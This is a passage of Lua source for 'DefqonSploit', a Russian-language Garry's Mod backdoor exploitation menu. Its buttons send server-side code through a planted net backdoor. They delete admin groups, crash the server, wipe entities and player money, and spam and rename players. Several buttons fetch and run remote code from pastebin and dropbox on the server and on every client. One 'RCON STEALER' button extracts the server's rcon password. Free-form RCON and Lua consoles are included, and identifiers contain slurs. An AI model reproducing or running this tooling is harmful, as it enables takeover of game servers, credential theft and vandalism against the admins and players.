) commandnethtx5:SetText("Удалить ulx группы") commandnethtx5:SetTextColor(Color(255, 255, 255, 255)) commandnethtx5.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx5.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Удалено" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx6 = vgui.Create("DButton", DScrollPanel ) commandnethtx6:SetSize( 208, 20 ) commandnethtx6:SetPos( 2, 50 ) commandnethtx6:SetText("Выключить сервер") commandnethtx6:SetTextColor(Color(255, 255, 255, 255)) commandnethtx6.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx6.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Выключаем" ) iZNX.NetStart(thefrenchenculer) net.WriteString("timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \" \") end end)") net.WriteBit(1) net.SendToServer() end local commandnethtx7 = vgui.Create("DButton", DScrollPanel) commandnethtx7:SetSize( 208, 20 ) commandnethtx7:SetPos( 2, 200 ) commandnethtx7:SetText("Спам в чат") commandnethtx7:SetTextColor(Color(255, 255, 255, 255)) commandnethtx7.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end local chatrapemike = false commandnethtx7.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") RainbowMike = { "chat.AddText(Color(0,255,0), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")", "chat.AddText(Color(0,0,255), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")", "chat.AddText(Color(255,0,0), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")", "chat.AddText(Color(255,255,0), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")", "chat.AddText(Color(0,255,255), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")", "chat.AddText(Color(255,0,255), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")", } chatrapemike = !chatrapemike if( chatrapemike ) then timer.Create( "niggaspams", 0.0001, 0, function() net.Start(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([["..table.Random(RainbowMike).."]]) end " ) net.WriteBit (1) net.SendToServer() end ) else timer.Destroy( "niggaspams" ) end end local commandnethtx8 = vgui.Create("DButton", DScrollPanel) commandnethtx8:SetSize( 208, 20 ) commandnethtx8:SetPos( 2, 225 ) commandnethtx8:SetText("Изменить всем модели") commandnethtx8:SetTextColor(Color(255, 255, 255, 255)) commandnethtx8.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx8.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Изменяем" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx9 = vgui.Create("DButton", DScrollPanel) commandnethtx9:SetSize( 208, 20 ) commandnethtx9:SetPos( 2, 250 ) commandnethtx9:SetText("Сломать физику") commandnethtx9:SetTextColor(Color(255, 255, 255, 255)) commandnethtx9.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx9.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Сломано" ) net.Start(thefrenchenculer) net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" ) net.WriteBit(1) net.SendToServer() end local commandnethtx10 = vgui.Create("DButton", DScrollPanel) commandnethtx10:SetSize( 208, 20 ) commandnethtx10:SetPos( 2, 275 ) commandnethtx10:SetText("Обратная гравитация") commandnethtx10:SetTextColor(Color(255, 255, 255, 255)) commandnethtx10.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx10.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Бах" ) net.Start(thefrenchenculer) net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" ) net.WriteBit(1) net.SendToServer() end local commandnethtx11 = vgui.Create("DButton", DScrollPanel) commandnethtx11:SetSize( 208, 20 ) commandnethtx11:SetPos( 2, 300 ) commandnethtx11:SetText("Сбросить все деньги") commandnethtx11:SetTextColor(Color(255, 255, 255, 255)) commandnethtx11.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx11.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Сброшено" ) net.Start(thefrenchenculer) net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" ) net.WriteBit(1) net.SendToServer() end local commandnethtx12 = vgui.Create("DButton", DScrollPanel) commandnethtx12:SetSize( 208, 20 ) commandnethtx12:SetPos( 2, 325 ) commandnethtx12:SetText("Запустить всех в воздух") commandnethtx12:SetTextColor(Color(255, 255, 255, 255)) commandnethtx12.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx12.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Ухуу" ) net.Start(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx13 = vgui.Create("DButton", DScrollPanel) commandnethtx13:SetSize( 208, 20 ) commandnethtx13:SetPos( 2, 350 ) commandnethtx13:SetText("Изменить всем имена") commandnethtx13:SetTextColor(Color(255, 255, 255, 255)) commandnethtx13.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx13.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Изменено" ) net.Start(thefrenchenculer) net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Hacked by DefqonSploit\"); end" ) -- net.WriteString( "for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx14 = vgui.Create("DButton", DScrollPanel) commandnethtx14:SetSize( 208, 20 ) commandnethtx14:SetPos( 2, 75 ) commandnethtx14:SetText("Сломать сервер [disco]") commandnethtx14:SetTextColor(Color(255, 255, 255, 255)) commandnethtx14.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx14.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" ) net.Start(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/riqSMkyq\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end local commandnethtx15 = vgui.Create("DButton", DScrollPanel) commandnethtx15:SetSize( 208, 20 ) commandnethtx15:SetPos( 2, 400 ) commandnethtx15:SetText("Сломать Экономику") commandnethtx15:SetTextColor(Color(255, 255, 255, 255)) commandnethtx15.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx15.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Сломано" ) net.Start(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:addMoney(99999999999999999) end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx16 = vgui.Create("DButton", DScrollPanel) commandnethtx16:SetSize( 208, 20 ) commandnethtx16:SetPos( 2, 425 ) commandnethtx16:SetText("Порно звуки шагов") commandnethtx16:SetTextColor(Color(255, 255, 255, 255)) commandnethtx16.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx16.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Ах" ) net.Start(thefrenchenculer) net.WriteString( "hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )" ) net.WriteBit(1) net.SendToServer() end local commandnethtx17 = vgui.Create("DButton", DScrollPanel) commandnethtx17:SetSize( 208, 20 ) commandnethtx17:SetPos( 2, 450 ) commandnethtx17:SetText("☢ Удалить все энтити ☢") commandnethtx17:SetTextColor(Color(255, 255, 255, 255)) commandnethtx17.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx17.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Удалено" ) net.Start(thefrenchenculer) net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx18 = vgui.Create("DButton", DScrollPanel) commandnethtx18:SetSize( 208, 20 ) commandnethtx18:SetPos( 2, 475 ) commandnethtx18:SetText("Hell (hellstart/hellend в консоль)") commandnethtx18:SetTextColor(Color(255, 255, 255, 255)) commandnethtx18.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx18.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "hellstart/hellend" ) net.Start(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/Y4uHaLW6\",RunString)" ) net.WriteBit(1) net.SendToServer() end local commandnethtx19 = vgui.Create("DButton", DScrollPanel) commandnethtx19:SetSize( 208, 20 ) commandnethtx19:SetPos( 2, 500 ) commandnethtx19:SetText("-Уши у всех игроков") commandnethtx19:SetTextColor(Color(255, 255, 255, 255)) commandnethtx19.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx19.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "-уши" ) net.Start(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx20 = vgui.Create("DButton", DScrollPanel) commandnethtx20:SetSize( 208, 20 ) commandnethtx20:SetPos( 2, 525 ) commandnethtx20:SetText("Землетрясение") commandnethtx20:SetTextColor(Color(255, 255, 255, 255)) commandnethtx20.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx20.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" ) net.Start(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx21 = vgui.Create("DButton", DScrollPanel) commandnethtx21:SetSize( 208, 20 ) commandnethtx21:SetPos( 2, 550 ) commandnethtx21:SetText("2D модели") commandnethtx21:SetTextColor(Color(255, 255, 255, 255)) commandnethtx21.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx21.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Бах" ) net.Start(thefrenchenculer) net.WriteString([[ for k,v in pairs(player.GetAll()) do local a = v:LookupBone("ValveBiped.Bip01_Head1") local b = v:LookupBone("ValveBiped.Bip01_R_Thigh") local c = v:LookupBone("ValveBiped.Bip01_L_Thigh") local d = v:LookupBone("ValveBiped.Bip01_R_Calf") local e = v:LookupBone("ValveBiped.Bip01_L_Calf") local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm") local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm") local h = v:LookupBone("ValveBiped.Bip01_R_Forearm") local i = v:LookupBone("ValveBiped.Bip01_L_Forearm") local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle") local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle") v:ManipulateBoneScale( a, Vector(4,0,4)) v:ManipulateBoneScale( b, Vector(0,0,0)) v:ManipulateBoneScale( c, Vector(0,0,0)) v:ManipulateBoneScale( d, Vector(0,0,1)) v:ManipulateBoneScale( e, Vector(0,0,1)) v:ManipulateBoneScale( f, Vector(0,0,0)) v:ManipulateBoneScale( g, Vector(0,0,0)) v:ManipulateBoneScale( h, Vector(1,1.5,1.5)) v:ManipulateBoneScale( i, Vector(1,1.5,1.5)) v:ManipulateBoneScale( j, Vector(0,0,0)) v:ManipulateBoneScale( k, Vector(0,0,0)) end]]) net.WriteBit(1) net.SendToServer() end local commandnethtx22 = vgui.Create("DButton", DScrollPanel) commandnethtx22:SetSize( 208, 20 ) commandnethtx22:SetPos( 2, 575 ) commandnethtx22:SetText("Армагеддон") commandnethtx22:SetTextColor(Color(255, 255, 255, 255)) commandnethtx22.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx22.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" ) local armageddon = [[ local b = Entity(2) for k,v in pairs(player.GetAll()) do if (v:Nick()=="OrionYouth") then b = v end end b:SetHealth(6666666) b:SetModel("models/gman_high.mdl") b:Ignite(300000) b:SetMaterial("phoenix_storms/wire/pcb_green") hook.Add("Think", "gi", function() b:SetColor(Color(math.random(1,255),math.random(1,255),math.random(1,255))) end) for k,v in pairs(player.GetAll()) do v:SendLua("http.Fetch(\"https://pastebin.com/raw/nVhmBa9C\",function(b,l,h,c)RunString(b)end,nil)") end ]] net.Start(thefrenchenculer) net.WriteString( armageddon ) net.WriteBit(1) net.SendToServer() end local commandnethtx23 = vgui.Create("DButton", DScrollPanel) commandnethtx23:SetSize( 208, 20 ) commandnethtx23:SetPos( 2, 600 ) commandnethtx23:SetText("Сделать всех гигантами") commandnethtx23:SetTextColor(Color(255, 255, 255, 255)) commandnethtx23.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx23.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Все стали гигантами" ) local giant = [[ hook.Add("Think", "giant", function() for k,v in pairs (player.GetAll()) do v:SetModelScale(2.5, 100); v:SetRunSpeed(400 * 2); v:SetWalkSpeed(200 * 2); end end)]] net.Start(thefrenchenculer) net.WriteString( giant ) net.WriteBit(1) net.SendToServer() end local commandnethtx24 = vgui.Create("DButton", DScrollPanel) commandnethtx24:SetSize( 208, 20 ) commandnethtx24:SetPos( 2, 625 ) commandnethtx24:SetText("Сделать всех высокими") commandnethtx24:SetTextColor(Color(255, 255, 255, 255)) commandnethtx24.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx24.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Все стали высокими" ) local tall = [[ hook.Add("Think", "tall", function() for k,v in pairs (player.GetAll()) do v:SetModelScale(0.2, 80); v:SetRunSpeed(400 * 2); v:SetWalkSpeed(200 * 2); end end)]] net.Start(thefrenchenculer) net.WriteString( tall ) net.WriteBit(1) net.SendToServer() end local commandnethtx25 = vgui.Create("DButton", DScrollPanel) commandnethtx25:SetSize( 208, 20 ) commandnethtx25:SetPos( 2, 650 ) commandnethtx25:SetText("SpeedHack") commandnethtx25:SetTextColor(Color(255, 255, 255, 255)) commandnethtx25.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx25.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" ) local speedhack = [[ hook.Add("Think", "speedhack", function() for k,v in pairs (player.GetAll()) do v:SetRunSpeed(400* 4); v:SetWalkSpeed(200 * 2); end end)]] net.Start(thefrenchenculer) net.WriteString( speedhack ) net.WriteBit(1) net.SendToServer() end local commandnethtx26 = vgui.Create("DButton", DScrollPanel) commandnethtx26:SetSize( 208, 20 ) commandnethtx26:SetPos( 2, 675 ) commandnethtx26:SetText("Кашель всевышнего") commandnethtx26:SetTextColor(Color(255, 255, 255, 255)) commandnethtx26.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx26.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Кхм" ) net.Start(thefrenchenculer) net.WriteString([[ for k,v in pairs(player.GetAll()) do timer.Create("cough", 10, 0, function() RunConsoleCommand("say", "*кхм..кхм*") v:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10) util.ScreenShake( Vector( 0, 0, 0 ), 1000, 1000, 1, 5000 ) end) end ]]) net.WriteBit(1) net.SendToServer() end local commandnethtx27 = vgui.Create("DButton", DScrollPanel) commandnethtx27:SetSize( 208, 20 ) commandnethtx27:SetPos( 2, 700 ) commandnethtx27:SetText("Azis - Hop на весь экран") commandnethtx27:SetTextColor(Color(255, 255, 255, 255)) commandnethtx27.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx27.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запущено" ) net.Start(thefrenchenculer) net.WriteString( "http.Fetch(\"https://www.dropbox.com/s/igdoi7tpya4wldn/bridgehack.lua?dl=1\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end local commandnethtx28 = vgui.Create("DButton", DScrollPanel) commandnethtx28:SetSize( 208, 20 ) commandnethtx28:SetPos( 2, 125 ) commandnethtx28:SetText("RCON STEALER") commandnethtx28:SetTextColor(Color(255, 255, 255, 255)) commandnethtx28.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx28.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") net.Start(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/Ruxg4fFk\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() timer.Simple( 0.5, function() if iZNX.ValidNetString( "jeveuttonrconleul" ) then net.Start("jeveuttonrconleul") net.SendToServer() else chat.AddText( Color(255, 0, 0),"rcon_password не найден, попробуйте еще раз ^^" ) end end ) end ---------------------------------------------------------------------------------------------- local RconCommand = vgui.Create( "DTextEntry", DScrollPanel ) RconCommand:SetPos( 110, 0 ) RconCommand:SetSize( 100, 20 ) RconCommand:SetText( "hostname Hacked by DefqonSploit | discord.gg/hf8GVVS" ) local Lancer_rcon_commande = vgui.Create("DButton", DScrollPanel ) Lancer_rcon_commande:SetSize( 103, 20 ) Lancer_rcon_commande:SetPos( 2, 0 ) Lancer_rcon_commande:SetText("RCON Команда") Lancer_rcon_commande:SetTextColor(Color(255, 255, 255, 255)) Lancer_rcon_commande.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end Lancer_rcon_commande.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Rcon Команда отправлена" ) local rcon_commandes_get = RconCommand:GetValue() iZNX.NetStart(thefrenchenculer) net.WriteString( rcon_commandes_get ) net.WriteBit(false) net.SendToServer() end local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel ) GLUACommand:SetPos( 110, 25 ) GLUACommand:SetSize( 100, 20 ) GLUACommand:SetText( "for k,v in pairs(player.GetAll()) do v:SendLua([[gui.OpenURL(\"http://discord.gg/hf8GVVS\")]]) end" ) -- timer.Create(\"Timerdecrash\",0.5,1,function() while true do end end) local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel ) Lancer_glua_commande:SetSize( 103, 20 ) Lancer_glua_commande:SetPos( 2, 25 ) Lancer_glua_commande:SetText("Lua код") Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255)) Lancer_glua_commande.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end Lancer_glua_commande.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Lua код отправлен" ) local glua_commandes_get = GLUACommand:GetValue() iZNX.NetStart(thefrenchenculer) net.WriteString( glua_commandes_get ) net.WriteBit(1) net.SendToServer() end end net.Receive( "rcon_passw_dump", function() local rcon_pass = net.ReadString() chat.AddText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0)," GG с этим вы можете ломать сервер, даже если он удалит backdoor :D") end ) net.Receive( "aucun_rcon_ici", function() chat.AddText( Color(255, 0, 0),"Нет rcon_password на сервере :/" ) end ) function iZNX.MakePlayerSelectionButton( parent, x, y, addr ) if !parent:IsValid() then return end local TButton = vgui.Create( "DButton" ) TButton:SetParent( parent ) TButton:SetPos( x, y ) TButton:SetText( "Выберите игрока" ) TButton:SetTextColor( Color(255, 255, 255, 255) ) TButton:SizeToContents() TButton:SetTall( 24 ) TButton.Paint = function( self, w, h ) surface.SetDrawColor( Color(60, 60, 90, 200) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.SetDrawColor( Color(70, 70, 100, 255) ) surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 ) end TButton.DoClick = function() iZNX.SelectPlayersPanel( addr ) end return TButton:GetWide(), TButton:GetTall() end function iZNX.SelectPlayersPanel( addr ) if iZNX.PlayerSelector and iZNX.PlayerSelector:IsVisible() then iZNX.PlayerSelector:Remove() end local plytab = iZNX.GetStored( addr, {} ) iZNX.PlayerSelector = vgui.Create("DFrame") iZNX.PlayerSelector:SetSize(250,400) iZNX.PlayerSelector:SetTitle("Выбор цели") iZNX.PlayerSelector:SetPos( gui.MouseX(), gui.MouseY() ) iZNX.PlayerSelector:MakePopup() iZNX.PlayerSelector.Paint = function( s, w, h ) if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end surface.SetDrawColor( Color(30, 30, 30, 245) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(55, 55, 55, 245) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) end local Plist = vgui.Create( "DPanelList", iZNX.PlayerSelector ) Plist:SetSize( iZNX.PlayerSelector:GetWide() - 10, iZNX.PlayerSelector:GetTall() - 55 ) Plist:SetPadding( 5 ) Plist:SetSpacing( 5 ) Plist:EnableHorizontal( false ) Plist:EnableVerticalScrollbar( true ) Plist:SetPos( 5, 40 ) Plist:SetName( "" ) local target1 = vgui.Create("DButton", iZNX.PlayerSelector) target1:SetSize( 40, 20 ) target1:SetPos( 10, 23 ) target1:SetText("Все") target1:SetTextColor(Color(255, 255, 255, 255)) target1.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(0, 0, 50 ,155) surface.DrawRect(0, 0, w, h) end target1.DoClick = function() for _, p in pairs(player.GetAll()) do if not table.HasValue( plytab, p ) then table.insert( plytab, p ) end end iZNX.Store( addr, plytab 